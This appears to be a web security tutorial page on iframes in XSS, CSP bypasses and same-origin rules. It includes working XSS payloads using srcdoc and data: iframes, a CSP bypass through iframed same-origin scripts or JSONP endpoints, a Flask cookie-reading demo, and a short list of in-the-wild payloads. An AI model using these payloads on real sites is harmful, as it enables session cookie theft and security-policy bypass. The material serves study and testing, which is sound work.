Iframes in XSS, CSP and SOP

Iframes in XSS

There are 3 ways to indicate the content of an iframed page:
  • Via src indicating an URL (the URL may be cross origin or same origin)
  • Via src indicating the content using the data: protocol
  • Via srcdoc indicating the content
Accesing Parent & Child vars
var secret = "31337s3cr37t";
<iframe id="if1" src=""></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
function access_children_vars(){
setTimeout(access_children_vars, 3000);
<!-- content of child.html -->
var secret="child secret";
If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., the parent won’t be able to access the secret var inside any iframe and only the iframes if2 & if3 (which are considered to be same-site) can access the secret in the original window. Note how if4 is considered to have null origin.

Iframes with CSP

Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.
The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute. However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute. Therefore it’s possible to bypass the CSP of a page with:
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
var secret = "31337s3cr37t";
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src=""></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
Note how the previous CSP only permits the execution of the inline script. However, only if1 and if2 scripts are going to be executed but only if1 will be able to access the parent secret.
Therefore, it’s possible to bypass a CSP if you can upload a JS file to the server and load it via iframe even with script-src 'none'. This can potentially be also done abusing a same-site JSONP endpoint.
You can test this with the following scenario were a cookie is stolen even with script-src 'none'. Just run the application and access it with your browser:
import flask
from flask import Flask
app = Flask(__name__)
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":

Other Payloads found on the wild

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){``%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

The sandbox attribute enables an extra set of restrictions for the content in the iframe. By default, no restriction is applied.
When the sandbox attribute is present, and it will:
  • treat the content as being from a unique origin
  • block form submission
  • block script execution
  • disable APIs
  • prevent links from targeting other browsing contexts
  • prevent content from using plugins (through <embed>, <object>, <applet>, or other)
  • prevent the content to navigate its top-level browsing context
  • block automatically triggered features (such as automatically playing a video or automatically focusing a form control)
The value of the sandbox attribute can either be empty (then all restrictions are applied), or a space-separated list of pre-defined values that will REMOVE the particular restrictions.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes in SOP

Check the following pages: